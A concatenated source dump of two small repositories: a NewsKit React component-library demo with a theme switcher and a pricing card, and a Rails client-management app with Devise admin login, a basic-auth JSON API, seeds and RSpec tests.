useState(''); useEffect(() => { (async () => { const sourcePath = `/static/${path}`; const res = await fetch(sourcePath); if (res.status !== 200) { setSource('An error occurred loading this code snippet. 😢'); } else { const src = await res.text(); setSource(src.replace(/\${/g, `$\\{`)); } })(); }, [path]); return <Code language={language}>{source}</Code>; }; <file_sep>import { Block, H1, H2, H3, P, Stack, Link, Divider } from 'newskit'; import Template from '../components/template'; import { pageTitle as page1Title } from './page1'; import { pageTitle as page2Title } from './page2'; import { pageTitle as page3Title } from './page3'; import { pageTitle as page4Title } from './page4'; import { pageTitle as page5Title } from './page5'; import { pageTitle as page6Title } from './page6'; import { pageTitle as page7Title } from './page7'; import { dependencies } from '../package.json'; export default () => ( <Template> <Block overrides={{ spaceStack: 'space060' }}> <H1>NewsKit Demo</H1> </Block> <Block overrides={{ spaceStack: 'space050' }}> <H2>v{dependencies.newskit}</H2> </Block> <Block overrides={{ spaceStack: 'space040' }}> <Divider /> </Block> <H3 as="div"> <Block overrides={{ spaceStack: 'space050' }}> <Stack space="sizing030"> <Link href="/page1">{page1Title}</Link> <Link href="/page2">{page2Title}</Link> <Link href="/page3">{page3Title}</Link> <Link href="/page4">{page4Title}</Link> <Link href="/page5">{page5Title}</Link> <Link href="/page6">{page6Title}</Link> <Link href="/page7">{page7Title}</Link> </Stack> </Block> </H3> <Block overrides={{ spaceStack: 'space050' }}> <Divider /> </Block> <footer> <P> <Link href="https://newskit.co.uk/">newskit.co.uk</Link> {` | `} <Link href="https://github.com/newscorp-ghfb/ncu-newskit"> NewsKit on GitHub </Link> {` | `} <Link href="https://github.com/lhaggar/newskit-demo"> This Demo on GitHub </Link> </P> </footer> </Template> ); <file_sep>import CodeTemplate from '../components/code-template'; import Page5 from '../public/static/page5'; export const pageTitle = 'Step 5: Custom Component'; export default () => ( <CodeTemplate title={pageTitle} nextPage="page6" PageComponent={Page5} codePaths={['page5.jsx', 'page5-theme.jsx']} /> ); <file_sep>import CodeTemplate from '../components/code-template'; import Page2 from '../public/static/page2'; export const pageTitle = 'Step 2: Setting Type Presets'; export default () => ( <CodeTemplate title={pageTitle} nextPage="page3" PageComponent={Page2} codePaths={['page2.jsx']} /> ); <file_sep>import { CodeFromFile } from './code'; import Template from './template'; import { Stack, Block, Heading2, Tag, Grid, Cell, styled, getBorderRadiusFromTheme, getSpacingFromTheme, getSpacingInsetFromTheme, } from 'newskit'; import useThemeSwitcher from './use-theme-switcher'; const HR = styled.hr` margin-top: 0; margin-bottom: ${getSpacingFromTheme('space050')}; `; const Container = styled.div` border-radius: ${getBorderRadiusFromTheme('borderRadiusRounded010')}; ${getSpacingInsetFromTheme('spaceInset020')}; overflow: hidden; `; export default ({ PageComponent, codePaths, title, nextPage, showThemeSwitcher, }) => { const hasCode = Boolean(codePaths && codePaths.length); const [themeSwitcher, ThemeWrapper] = useThemeSwitcher(); const Content = () => ( <Grid> <Cell xs={12} md={hasCode ? 6 : 12}> <Container> <Stack flow="horizontal-top" stackDistribution="center"> <PageComponent /> </Stack> </Container> </Cell> {hasCode && ( <Cell xsHidden smHidden md={6}> <Container> <Stack space="sizing030"> {codePaths.map((path) => ( <CodeFromFile path={path} /> ))} </Stack> </Container> </Cell> )} </Grid> ); return ( <Template title={title}> <Block overrides={{ spaceInset: 'spaceInsetStretch020' }}> <Stack flow="horizontal-center" stackDistribution="space-between"> <Block overrides={{ soaceInset: 'spaceInsetStretch020' }}> <Heading2>{title}</Heading2> </Block> {showThemeSwitcher && themeSwitcher} {nextPage ? ( <Tag href={`/${nextPage}`} size="large"> Next Step 👉 </Tag> ) : ( <Tag href="/" size="large"> Home 🏡 </Tag> )} </Stack> </Block> <HR /> {showThemeSwitcher ? ( <ThemeWrapper> <Content /> </ThemeWrapper> ) : ( <Content /> )} </Template> ); }; <file_sep>import CodeTemplate from '../components/code-template'; import Page6 from '../public/static/page6'; export const pageTitle = 'Step 6: Theme'; export default () => ( <CodeTemplate title={pageTitle} nextPage="page7" PageComponent={Page6} codePaths={['page6.jsx']} showThemeSwitcher /> ); <file_sep>import CodeTemplate from '../components/code-template'; import Page1 from '../public/static/page1'; export const pageTitle = 'Step 1: Basic Components'; export default () => ( <CodeTemplate title={pageTitle} nextPage="page2" PageComponent={Page1} codePaths={['page1.jsx']} /> ); <file_sep>import CodeTemplate from '../components/code-template'; import Page4 from '../public/static/page4'; export const pageTitle = 'Step 4: Setting Style Presets'; export default () => ( <CodeTemplate title={pageTitle} nextPage="page5" PageComponent={Page4} codePaths={['page4.jsx']} /> ); <file_sep>## Getting Started This is a demonstration of the WIP NewsKit component library. It features demonstration pages which build up an example component, then place that in a full page example. ### Dev Server ```bash npm run dev # or yarn dev ``` Open [http://localhost:3000](http://localhost:3000) with your browser to see the result. ### Build and Serve ```bash npm run build && npm run start # or yarn build && yarn start ``` Open [http://localhost:3000](http://localhost:3000) with your browser to see the result. <file_sep>import { createTheme } from 'newskit'; export default createTheme({ name: 'page5-theme', overrides: { stylePresets: { pricingCardSurface: { base: { backgroundColor: '{{colors.interfaceBackground}}', boxShadow: '{{shadows.shadow030}}', }, }, }, }, }); <file_sep>import { useState, useCallback } from 'react'; import { createTheme, ThemeProvider, newskitDarkTheme, styled, getStylePreset, getTypographyPreset, getSpacingInset, getColorFromTheme, getMinHeight, } from 'newskit'; import useHasMounted from './use-has-mounted'; import timesThemeOverrides from '../themes/times-theme-overrides'; import sunThemeOverrides from '../themes/sun-theme-overrides'; import virginThemeOverrides from '../themes/virgin-theme-overrides'; const createOverrides = (customOverrides = {}) => { return { ...customOverrides, stylePresets: { ...customOverrides.stylePresets, pricingCardSurface: { base: { backgroundColor: '{{colors.interfaceBackground}}', boxShadow: '{{shadows.shadow030}}', }, }, }, }; }; const themes = [ [undefined, 'NewsKit Light'], [newskitDarkTheme, 'NewsKit Dark'], [undefined, 'The Times Theme', timesThemeOverrides], [undefined, 'The Sun Theme', sunThemeOverrides], [undefined, 'Virgin Radio Theme', virginThemeOverrides], ].map(([baseTheme, name, overrides]) => { const theme = createTheme({ name, baseTheme, overrides: createOverrides(overrides), }); // Bug in this NewsKit version keeps the name from base theme, so overwrite it here theme.name = name; return theme; }); // NewsKit has a text input field but no select (currently), we can use the same component defaults though! const StyledSelect = styled.select` box-sizing: border-box; width: 100%; max-width: 300px; margin-bottom: 0; margin-left: auto; margin-right: auto; ${getStylePreset(`textInput.medium.input`, 'input')}; ${getTypographyPreset(`textInput.medium.input`, 'input', { withCrop: true, })}; ${getSpacingInset(`textInput.medium.input`, 'input')}; min-height: ${getMinHeight(`textInput.medium.input`, 'input')}; `; const Container = styled.div` background: ${getColorFromTheme('inverse')}; `; export default () => { const mounted = useHasMounted(); const [themeIndex, setThemeIndex] = useState(() => { const index = typeof window !== 'undefined' ? window.localStorage.getItem('theme-index') : 0; return Math.min(Math.max(index, 0), themes.length - 1); }); const setAndSaveThemeIndex = useCallback( (index) => { if (typeof window !== 'undefined') { window.localStorage.setItem('theme-index', index); } setThemeIndex(index); }, [setThemeIndex] ); if (!mounted) { return [null, () => null]; } const themeLabels = themes.map((theme) => theme.name); return [ <StyledSelect onChange={(event) => { setAndSaveThemeIndex(event.target.value); }} defaultValue={themeIndex.toString()} > {themeLabels.map((label, id) => { return ( <option key={id + label} value={id}> {label} </option> ); })} </StyledSelect>, ({ children }) => ( <ThemeProvider theme={themes[themeIndex]}> <Container>{children}</Container> </ThemeProvider> ), ]; }; <file_sep>import { Button, IconFilledExpandMore, TextBlock } from 'newskit'; export default () => ( <div> <TextBlock as="h2" overrides={{ typographyPreset: 'utilityHeading050' }}> Standard Digital </TextBlock> <TextBlock overrides={{ typographyPreset: 'utilityBody010' }}> For those who want to read The Times &amp; The Sunday Times on the go. </TextBlock> <TextBlock as="h3" overrides={{ typographyPreset: 'utilityHeading050' }}> £15.00 </TextBlock> <TextBlock overrides={{ typographyPreset: 'utilityLabel030' }}> a month, monthly rolling contract. </TextBlock> <Button>Subscribe</Button> <Button> View Benefits <IconFilledExpandMore /> </Button> </div> ); <file_sep>import { Button, IconFilledExpandMore, TextBlock } from 'newskit'; export default () => ( <div> <TextBlock as="h2">Standard Digital</TextBlock> <TextBlock> For those who want to read The Times &amp; The Sunday Times on the go. </TextBlock> <TextBlock as="h3">£15.00</TextBlock> <TextBlock>a month, monthly rolling contract.</TextBlock> <Button>Subscribe</Button> <Button> View Benefits <IconFilledExpandMore /> </Button> </div> ); <file_sep>import { Block, Stack, Button, IconFilledExpandMore, TextBlock, ThemeProvider, styled, getStylePresetFromTheme, getSpacingInsetFromTheme, } from 'newskit'; import page5Theme from './page5-theme'; const StyledContainer = styled.div` ${getStylePresetFromTheme('pricingCardSurface')}; ${getSpacingInsetFromTheme('spaceInsetStretch040')}; max-width: 287px; `; const NoWrapButton = styled(Button)` white-space: nowrap; `; export default () => ( <ThemeProvider theme={page5Theme}> <StyledContainer> <Block overrides={{ spaceStack: 'space040' }}> <TextBlock as="h2" overrides={{ typographyPreset: 'utilityHeading050', stylePreset: 'inkContrast', }} > Standard Digital </TextBlock> </Block> <Block overrides={{ spaceStack: 'space050' }}> <TextBlock overrides={{ typographyPreset: 'utilityBody010', stylePreset: 'inkSubtle', }} > For those who want to read The Times &amp; The Sunday Times on the go. </TextBlock> </Block> <Block overrides={{ spaceStack: 'space030' }}> <TextBlock as="h3" overrides={{ typographyPreset: 'utilityHeading050', stylePreset: 'inkContrast', }} > £15.00 </TextBlock> </Block> <Block overrides={{ spaceStack: 'space040' }}> <TextBlock overrides={{ typographyPreset: 'utilityLabel030', stylePreset: 'inkSubtle', }} > a month, monthly rolling contract. </TextBlock> </Block> <Stack flow="horizontal-top" stackDistribution="space-between"> <Button overrides={{ width: '100%', stylePreset: 'buttonOutlinedPrimary' }} > Subscribe </Button> <NoWrapButton overrides={{ width: '100%', stylePreset: 'buttonMinimalPrimary' }} > View Benefits <IconFilledExpandMore /> </NoWrapButton> </Stack> </StyledContainer> </ThemeProvider> ); <file_sep>import { Block, Stack, Button, IconFilledExpandMore, TextBlock } from 'newskit'; export default () => ( <div> <Block overrides={{ spaceStack: 'space040' }}> <TextBlock as="h2" overrides={{ typographyPreset: 'utilityHeading050' }}> Standard Digital </TextBlock> </Block> <Block overrides={{ spaceStack: 'space050' }}> <TextBlock overrides={{ typographyPreset: 'utilityBody010' }}> For those who want to read The Times &amp; The Sunday Times on the go. </TextBlock> </Block> <Block overrides={{ spaceStack: 'space030' }}> <TextBlock as="h3" overrides={{ typographyPreset: 'utilityHeading050' }}> £15.00 </TextBlock> </Block> <Block overrides={{ spaceStack: 'space040' }}> <TextBlock overrides={{ typographyPreset: 'utilityLabel030' }}> a month, monthly rolling contract. </TextBlock> </Block> <Stack flow="horizontal-top"> <Button overrides={{ width: '100%' }}>Subscribe</Button> <Button overrides={{ width: '100%' }}> View Benefits <IconFilledExpandMore /> </Button> </Stack> </div> );
97d936534ccbd1d663009412b38a547c1c06c73e
[ "JavaScript", "Markdown" ]
18
JavaScript
apostolnikov/newskit-demo
f33a231b1718022055a8373ca52ab591530c33ce
537dd4d744407af82aad25fc1da7b7ce0898b53f
refs/heads/master
<repo_name>cxyao/webpack-mutiple-theme-bundle-css-demo<file_sep>/README.md # webpack-mutiple-theme-bundle-css-demo A webpack mutiple theme bundle css demo. <file_sep>/src/themes.js import './less/themes/green.less'; import './less/themes/red.less'; import './less/themes/yellow.less';
2bc0544e2f121ffba21bf6e3e38ab36bd08cb9e6
[ "Markdown", "JavaScript" ]
2
Markdown
cxyao/webpack-mutiple-theme-bundle-css-demo
1fad69773e71d301675f0e0022df8ad336a6afde
73438b0c89b79fdb82e39dcea1ab39a15dea5907
refs/heads/master
<repo_name>arunstg1/CloudTestWare<file_sep>/product/TestClient/src/edu/uci/testclient/ZipFileCreator.java package edu.uci.testclient; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.util.UUID; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; import org.apache.commons.io.FileUtils; public class ZipFileCreator { public void zip(String[] args, UUID testId) { String testJarPath = args[1]; String[] dependentJarPaths = new String[args.length - 2]; for (int i = 2, j = 0; i < args.length; i++, j++) { dependentJarPaths[j] = args[i]; } createTempDirectoryStructureForZip(testJarPath, dependentJarPaths); createZipFile(testId, dependentJarPaths); deleteTempDirectoryStructure(); } private void deleteTempDirectoryStructure() { try { FileUtils.deleteDirectory(new File("ZipContents")); } catch (IOException e) { e.printStackTrace(); } } private void createZipFile(UUID testId, String[] dependentJarPaths) { FileOutputStream fileOutputStream = null; try { fileOutputStream = new FileOutputStream(testId + ".zip"); } catch (FileNotFoundException e1) { e1.printStackTrace(); } try { ZipOutputStream zos = new ZipOutputStream(fileOutputStream); addToZipFile("ZipContents/test.jar" , zos); for (String string : dependentJarPaths) { String[] stringSplit = string.split("/"); String fileName = stringSplit[stringSplit.length - 1]; addToZipFile("ZipContents/dependent/" + fileName, zos); } zos.close(); } catch (IOException e) { e.printStackTrace(); } } private void createTempDirectoryStructureForZip(String testJarPath, String[] dependentJarPaths) { if(!new File("ZipContents").mkdir()) new Exception("Directory Creation Failed"); try { FileUtils.copyFile(new File(testJarPath), new File("ZipContents/test.jar")); for (String string : dependentJarPaths) { String[] stringSplit = string.split("/"); String fileName = stringSplit[stringSplit.length - 1]; FileUtils.copyFile(new File(string), new File("ZipContents/dependent/" + fileName)); } } catch (IOException e2) { e2.printStackTrace(); } } private void addToZipFile(String fileName, ZipOutputStream zos) throws FileNotFoundException, IOException { File fileToBeAdded = new File(fileName); FileInputStream fileStream = new FileInputStream(fileToBeAdded); ZipEntry zipEntry = new ZipEntry(fileName); zos.putNextEntry(zipEntry); byte[] bytes = new byte[1024]; int length; while ((length = fileStream.read(bytes)) >= 0) { zos.write(bytes, 0, length); } zos.closeEntry(); fileStream.close(); } } <file_sep>/product/Common/src/edu/uci/util/DB/ISimpleDB.java package edu.uci.util.DB; import java.util.List; import com.amazonaws.services.simpledb.model.ReplaceableItem; import com.amazonaws.services.simpledb.model.SelectRequest; public interface ISimpleDB { public void createDB(); public void insertData(List<ReplaceableItem> data); public SelectRequest selectData(String selectList, List<DBKeyValue> attrList); public void updateData(String itemName, DBKeyValue attr); } <file_sep>/build.xml <?xml version="1.0" encoding="UTF-8"?> <project name="cobertura.examples.basic" default="compile" basedir="."> <property name="build.dir" value="${basedir}/build" /> <property name="common.dir" value="${basedir}/product/Common" /> <path id="lib.classpath"> <fileset dir="${basedir}/lib"> <include name="**/*.jar" /> </fileset> </path> <target name="init"> <mkdir dir="${build.dir}"/> </target> <target name="build-common" depends="init"> <mkdir dir="${build.dir}/common"/> <javac srcdir="${common.dir}" destdir="${build.dir}/common" debug="yes"> <classpath refid="lib.classpath" /> </javac> <jar destfile="${build.dir}/common.jar"> <fileset dir="${build.dir}/common" excludes="**/Test.class" /> </jar> </target> </project>
13b8b10981866c000a973f0e2892f87c9c1da920
[ "Java", "Ant Build System" ]
3
Java
arunstg1/CloudTestWare
ba8f796a9751de077a504cb1a912d90c1ed1733b
04859c9b1b4ff850173a1df198d41bf08b3ab87c
refs/heads/master
<repo_name>bibmeke/color-hash.swift<file_sep>/ColorHashDemo/ColorHashDemoViewController.swift // // ColorHashDemoViewController.swift // ColorHashDemo // // Created by <NAME> on 11/25/15. // Copyright © 2015 LittleApps Inc. All rights reserved. // #if os(iOS) || os(tvOS) import UIKit class ColorHashDemoViewController: UIViewController, UITextFieldDelegate { @IBOutlet weak var textField: UITextField! @IBOutlet weak var saturationSlider: UISlider! @IBOutlet weak var brightnessSlider: UISlider! @IBOutlet weak var saturationLabel: UILabel! @IBOutlet weak var brightnessLabel: UILabel! func textField(_ textField: UITextField, shouldChangeCharactersIn range: NSRange, replacementString string: String) -> Bool { let nsString = (textField.text! as NSString).replacingCharacters(in: range, with: string) updateBackgroundColor(nsString) return true } } #elseif os(OSX) import Cocoa class ColorHashDemoViewController: NSViewController, NSTextFieldDelegate { @IBOutlet weak var textField: NSTextField! @IBOutlet weak var saturationSlider: NSSlider! @IBOutlet weak var brightnessSlider: NSSlider! @IBOutlet weak var saturationLabel: NSTextField! @IBOutlet weak var brightnessLabel: NSTextField! func controlTextDidChange(_ obj: Notification) { updateBackgroundColor() } } #endif extension ColorHashDemoViewController { override func viewDidLoad() { super.viewDidLoad() let def = UserDefaults.standard def.register(defaults: ["str": "Hello World", "s": 0.5, "l": 0.5 ]) #if os(iOS) || os(tvOS) textField.text = def.string(forKey: "str") saturationSlider.value = def.float(forKey: "s") brightnessSlider.value = def.float(forKey: "l") #elseif os(OSX) textField.stringValue = def.string(forKey: "str") ?? "" saturationSlider.floatValue = def.float(forKey: "s") brightnessSlider.floatValue = def.float(forKey: "l") #endif updateBackgroundColor() } @IBAction func sliderValueChanged(sender: AnyObject) { updateBackgroundColor() } private func updateBackgroundColor(_ str: String? = nil) { #if os(iOS) || os(tvOS) let s = saturationSlider.value let l = brightnessSlider.value let str = str ?? textField.text! #elseif os(OSX) let s = saturationSlider.floatValue let l = brightnessSlider.floatValue let str = str ?? textField.stringValue #endif self.setBackgroundColor(ColorHash(str, [CGFloat(s)], [CGFloat(l)]).color) setLabelText(saturationLabel, text: "Saturation\n\(s)") setLabelText(brightnessLabel, text: "Brightness\n\(l)") let def = UserDefaults.standard def.set(s, forKey: "s") def.set(l, forKey: "l") def.setValue(str, forKey: "str") def.synchronize() } #if os(iOS) || os(tvOS) private func setBackgroundColor(_ c: UIColor) { self.view.backgroundColor = c } private func setLabelText(_ label: UILabel, text: String) { label.text = text } #elseif os(OSX) private func setBackgroundColor(_ c: NSColor) { let layer = CALayer() layer.backgroundColor = c.cgColor view.wantsLayer = true view.layer = layer } private func setLabelText(_ label: NSTextField, text: String) { label.stringValue = text } #endif }
c5bf530849b1fdbe1b9b2123ce791573705c388f
[ "Swift" ]
1
Swift
bibmeke/color-hash.swift
2e9a400d9684dcfc9c46974f3abc798b050a1e5e
a1ce41c9fd68cd0ecfd8b37e8d162438343572c4
refs/heads/master
<repo_name>Neember/neember_client<file_sep>/spec/features/clients/delete_client_spec.rb require 'rails_helper' describe 'Destroy client' do let!(:clients) { create_list(:client, 5) } let(:client) { clients.first } let(:admin) { create :admin } it 'Destroy client' do feature_login admin visit clients_path get_element("delete-client-#{client.id}").click expect(page).to have_content 'Clients List' expect(page).to have_content I18n.t('client.message.delete_success') end end <file_sep>/spec/features/clients/view_clients_spec.rb require 'rails_helper' describe 'View Clients' do let(:admin) { create :admin } before { create_list(:client, 5) } it 'displays clients list' do feature_login admin visit clients_path expect(page).to have_content 'Clients List' expect(page).to have_content 'Paul' end end <file_sep>/README.md NEEMBER CLIENT API === An internal product by [<NAME>](http://futureworkz.com) ###Project status [![Build Status](https://travis-ci.org/Neember/neember_client.svg?branch=master)](https://travis-ci.org/Neember/neember_client) [![Dependency Status](https://gemnasium.com/Neember/neember_client.svg)](https://gemnasium.com/Neember/neember_client) [![Code Climate](https://codeclimate.com/github/Neember/neember_client/badges/gpa.svg)](https://codeclimate.com/github/Neember/neember_client) ###Installation Clone the project ```sh git clone https://github.com/Neember/neember_client.git ``` Bundle it ```sh bundle install ``` Create database ```sh rake db:create db:migrate ``` Run tests to view all use cases ```sh rspec -fd ``` <file_sep>/app/models/admin.rb class Admin < ActiveRecord::Base # Include default devise modules. Others available are: # :confirmable, :lockable, :timeoutable and :omniauthable devise :database_authenticatable, :registerable, :recoverable, :rememberable, :trackable, :validatable devise :omniauthable, omniauth_providers: [:google_oauth2] validates :email, format: { :with => /\A([^@\s]+)@(futureworkz.com)\Z/i } def self.find_for_google_oauth2(access_token) data = access_token.info Admin.where(email: data['email']).first end end <file_sep>/spec/controllers/clients_controller_spec.rb require 'rails_helper' describe ClientsController do let(:admin) { create :admin } describe 'GET #index' do def do_request get :index end before { create_list(:client, 3) } context 'Admin logged in' do it 'fetches all clients and render index view' do sign_in admin do_request expect(assigns(:clients).size).to be == 3 expect(response).to render_template :index end end end describe 'GET #new' do def do_request get :new end it 'renders new template' do sign_in admin do_request expect(response).to render_template :new end end describe 'POST #create' do let(:client_param) { attributes_for(:client) } def do_request post :create, client: client_param end context 'success' do it 'creates a new client, redirect to clients list and set the flash' do sign_in admin expect { do_request }.to change(Client, :count).by(1) expect(response).to redirect_to clients_path expect(flash[:notice]).to_not be_nil end end context 'failed' do let(:client_param) { attributes_for(:client, first_name: '') } it 'displays error and renders new template' do sign_in admin do_request expect(response).to render_template :new expect(flash[:alert]).to_not be_nil end end end describe 'GET #edit' do let(:client) { create(:client) } def do_request get :edit, id: client.id end it 'display edit form' do sign_in admin do_request expect(response).to render_template :edit end end describe 'PATCH #update' do let(:client) { create(:client, first_name: 'John') } context 'success' do def do_request patch :update, id: client.id, client: attributes_for(:client, first_name: 'Martin') end it 'updates client, redirect to clients list and sets the flash' do sign_in admin do_request expect(client.reload.first_name).to be == 'Martin' expect(response).to redirect_to clients_path expect(flash[:notice]).to_not be_nil end end context 'failed' do def do_request patch :update, id: client.id, client: attributes_for(:client, first_name: '') end it 'should not update client and render edit form' do sign_in admin do_request expect(response).to render_template :edit expect(flash[:alert]).to_not be_nil end end end describe 'delete #destroy' do context 'success' do let!(:client) { create(:client)} def do_request get :destroy, id: client.id end it 'delete client, redirect to clients list and sets the flash' do sign_in admin expect { do_request }.to change(Client, :count).by(-1) expect(response).to redirect_to clients_path expect(flash[:notice]).to_not be_nil end end end end <file_sep>/spec/features/clients/edit_client_spec.rb require 'rails_helper' describe 'Edit client Workflow' do let!(:clients) { create_list(:client, 5) } let(:client) { clients.first } let(:admin) { create :admin } it 'updates client' do feature_login admin visit clients_path get_element("edit-client-#{client.id}").click expect(page).to have_content 'Edit client' fill_in 'First name', with: 'Martin' fill_in 'Last name', with: 'Vu' fill_in 'Designation', with: 'Owner' fill_in 'Address', with: 'Ho Chi Minh' click_on 'Submit' expect(page).to have_content 'Clients List' expect(page).to have_content I18n.t('client.message.update_success') end end <file_sep>/spec/models/admin_spec.rb require 'rails_helper' describe Admin do context 'validations' do it { should validate_presence_of :email } end let(:admin){ build(:admin) } it 'validates email address' do admin.email = '<EMAIL>' expect(admin.valid?).to be_truthy admin.email = '<EMAIL>' expect(admin.valid?).to be_falsey admin.email = 'martin.com' expect(admin.valid?).to be_falsey end describe '.find_for_google_oauth2' do let(:access_token) { double('access_token') } before do allow(access_token).to receive(:info).and_return( {'email' => admin.email}) end context 'user has the account' do let!(:admin) { create(:admin) } it 'returns user has google authenticated' do expect { Admin.find_for_google_oauth2(access_token) }.to_not change(Admin, :count) end end context 'user does not have the account' do let(:admin) { build(:admin) } it 'creates a new user' do expect(Admin.find_for_google_oauth2(access_token)).to be_falsey end end end end <file_sep>/app/models/client.rb class Client < ActiveRecord::Base extend Enumerize default_scope -> { order(first_name: :asc, last_name: :asc, id: :desc) } scope :options, -> { pluck(:company_name, :id) } validates :first_name, :last_name, :email, :address, :company_name, :designation, presence: true validates :email, format: { :with => /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i } enumerize :title, in: [:mr, :mrs, :ms, :dr, :mdm], default: :mr def name "#{first_name} #{last_name}" end end <file_sep>/spec/support/auth_helper.rb module AuthHelper def http_login user = ENV['AUTHENTICATE_USER_NAME'] pw = ENV['AUTHENTICATE_PASSWORD'] request.env['HTTP_AUTHORIZATION'] = ActionController::HttpAuthentication::Basic.encode_credentials(user,pw) end end <file_sep>/app/controllers/clients_controller.rb class ClientsController < ApplicationController before_filter :authenticate_admin! def index @clients = Client.paginate(page: page) end def new @client = Client.new end def create @client = Client.new(client_param) if @client.save redirect_to clients_path, notice: t('client.message.create_success') else flash[:alert] = t('client.message.create_failed') render :new end end def edit @client = Client.find(client_id) end def update @client = Client.find(client_id) if @client.update(client_param) redirect_to clients_path, notice: t('client.message.update_success') else flash[:alert] = t('client.message.update_failed') render :edit end end def destroy @client = Client.find(client_id) if @client.destroy redirect_to clients_path, notice: t('client.message.delete_success') else redirect_to clients_path, alert: t('client.message.delete_failed') end end protected def client_id params.require(:id) end def page params[:page] end def client_param params.require(:client).permit(:title, :first_name, :last_name, :email, :phone, :address, :company_name, :designation) end end <file_sep>/app/controllers/api/clients_controller.rb class Api::ClientsController < ApplicationController USER_NAME = ENV['AUTHENTICATE_USER_NAME'] PASSWORD = ENV['<PASSWORD>'] before_action :authenticate def index @clients = Client.all end def show @client = Client.find(client_id) end protected def client_id params.require(:id) end def authenticate case request.format when Mime::JSON authenticate_or_request_with_http_basic do |user_name, password| user_name == USER_NAME && password == <PASSWORD> end end end end <file_sep>/db/seeds.rb # This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). # # Examples: # # cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) # Mayor.create(name: 'Emanuel', city: cities.first) puts 'Start seeding clients' clients_data = [ {title: :mr, first_name: 'Leon', last_name: 'Tay', email: '<EMAIL>', phone: '1234-5869', designation: 'Owner', company_name: 'Fanfill Technology', address: '50 ABC Street Singapore'}, {title: :mr, first_name: 'Gabriel', last_name: 'Bunner', email: '<EMAIL>', phone: '4456-5869', designation: 'Owner', company_name: 'DualRanked', address: '50 DEF Street Malaysia'}, {title: :mr, first_name: 'Melvin', last_name: 'Tan', email: '<EMAIL>', phone: '4456-5869', designation: 'Owner', company_name: 'LunchKaki', address: '50 GHJF Street Malaysia'}, {title: :ms, first_name: 'Geraldine', last_name: '-', email: '<EMAIL>', phone: '4456-5869', designation: 'Owner', company_name: 'Our Cleaning Department',address: 'Blk 601, Bedok Reservoir Road, #03-512, S (470601).'}, {title: :ms, first_name: 'Kheng', last_name: '-', email: '<EMAIL>', phone: '4456-5869', designation: 'Owner', company_name: 'Kheng', address: '25B Jalan Membina #04-122 Singapore 164025'} ] clients ||= {} clients_data.each do |client_data| client = Client.find_or_initialize_by(client_data) client.save clients[client.first_name.downcase.to_sym] = client end puts 'Clients seeded' puts 'Start seeding admin' admins_data = [ { email: '<EMAIL>' }, { email: '<EMAIL>' }, { email: '<EMAIL>' }, { email: '<EMAIL>' } ] admins_data.each do |admin_data| admin = Admin.find_or_initialize_by(admin_data) admin.password = '<PASSWORD>' admin.save end puts 'Admin seeded' <file_sep>/spec/models/client_spec.rb require 'rails_helper' describe Client do context 'validations' do it { should validate_presence_of :first_name } it { should validate_presence_of :last_name } it { should validate_presence_of :email } it { should validate_presence_of :address } it { should validate_presence_of :company_name } it { should validate_presence_of :designation } it { should enumerize(:title).in(:mr, :mrs, :ms, :dr, :mdm) } let(:client) { build(:client) } it 'validates email address' do client.email = '<EMAIL>' expect(client.valid?).to be true client.email = '<EMAIL>' expect(client.valid?).to be false end end describe '#name' do let(:client) { create(:client, first_name: 'John', last_name: 'Cena') } it 'returns client full name' do expect(client.name).to eq '<NAME>' end end end <file_sep>/spec/factories/admin_factory.rb FactoryGirl.define do factory :admin do email '<EMAIL>' password '<PASSWORD>' end end <file_sep>/spec/controllers/api/clients_controller_spec.rb require 'rails_helper' describe Api::ClientsController do describe 'get #index' do context 'show detail client' do before { create_list(:client, 3) } def do_request get :index, format: :json end # login to http basic auth include AuthHelper before(:each) do http_login end it 'fetches all clients and render index view' do ActionController::HttpAuthentication::Basic.encode_credentials(ENV['AUTHENTICATE_USER_NAME'], ENV['AUTHENTICATE_PASSWORD']) do_request expect(response).to render_template :index expect(assigns(:clients).size).to be == 3 end end end describe 'get #show' do context 'show detail client' do let!(:client) { create :client } def do_request get :show, id: client.id, format: :json end # login to http basic auth include AuthHelper before(:each) do http_login end it 'render template show client detail and finds client' do ActionController::HttpAuthentication::Basic.encode_credentials(ENV['AUTHENTICATE_USER_NAME'], ENV['AUTHENTICATE_PASSWORD']) do_request expect(response).to render_template :show expect(assigns(:client)).to_not be_nil end end end end <file_sep>/spec/helpers/list_helper_spec.rb require 'rails_helper' describe ListHelper do describe '#list_edit_button and #list_delete_button' do # context 'user' do # let(:admin) { create(:admin) } # let(:edit_button) { helper.list_edit_button(admin) } # let(:delete_button) { helper.list_delete_button(admin) } # # it 'returns edit button' do # expect(edit_button).to include 'Edit' # expect(edit_button).to include edit_user_path(user.id) # expect(edit_button).to include 'data-test="edit-user-' + user.id.to_s + '"' # end # # it 'returns delete button' do # expect(delete_button).to include 'Delete' # expect(delete_button).to include user_path(user.id) # expect(delete_button).to include 'data-test="delete-user-' + user.id.to_s + '"' # expect(delete_button).to include 'data-method="delete"' # expect(delete_button).to include 'data-confirm="Confirm delete this user?"' # end # end context 'Client' do let(:client) { create(:client) } let(:edit_button) { helper.list_edit_button(client) } let(:delete_button) { helper.list_delete_button(client) } it 'returns edit button' do expect(edit_button).to include 'Edit' expect(edit_button).to include edit_client_path(client.id) expect(edit_button).to include 'data-test="edit-client-' + client.id.to_s + '"' end it 'returns delete button' do expect(delete_button).to include 'Delete' expect(delete_button).to include client_path(client.id) expect(delete_button).to include 'data-test="delete-client-' + client.id.to_s + '"' expect(delete_button).to include 'data-method="delete"' expect(delete_button).to include 'data-confirm="Confirm delete this client?"' end end end end <file_sep>/spec/features/clients/create_client_spec.rb require 'rails_helper' describe 'Create Client' do let(:admin) { create :admin } it 'creates a new client' do feature_login admin visit clients_path click_on 'Add New Client' expect(page).to have_content 'Add New Client' select 'Mr.', from: 'Title' fill_in 'First name', with: 'John' fill_in 'Last name', with: 'Paul' fill_in 'Email', with: '<EMAIL>' fill_in 'Phone', with: '123-123-123' fill_in 'Address', with: '123 Singapore' fill_in 'Company name', with: 'ABC Company' fill_in 'Designation', with: 'Owner' click_on 'Submit' expect(page).to have_content I18n.t('client.message.create_success') end end
bf4a97e9e0dc76ef63728fd745933ec9836ddce3
[ "Markdown", "Ruby" ]
17
Ruby
Neember/neember_client
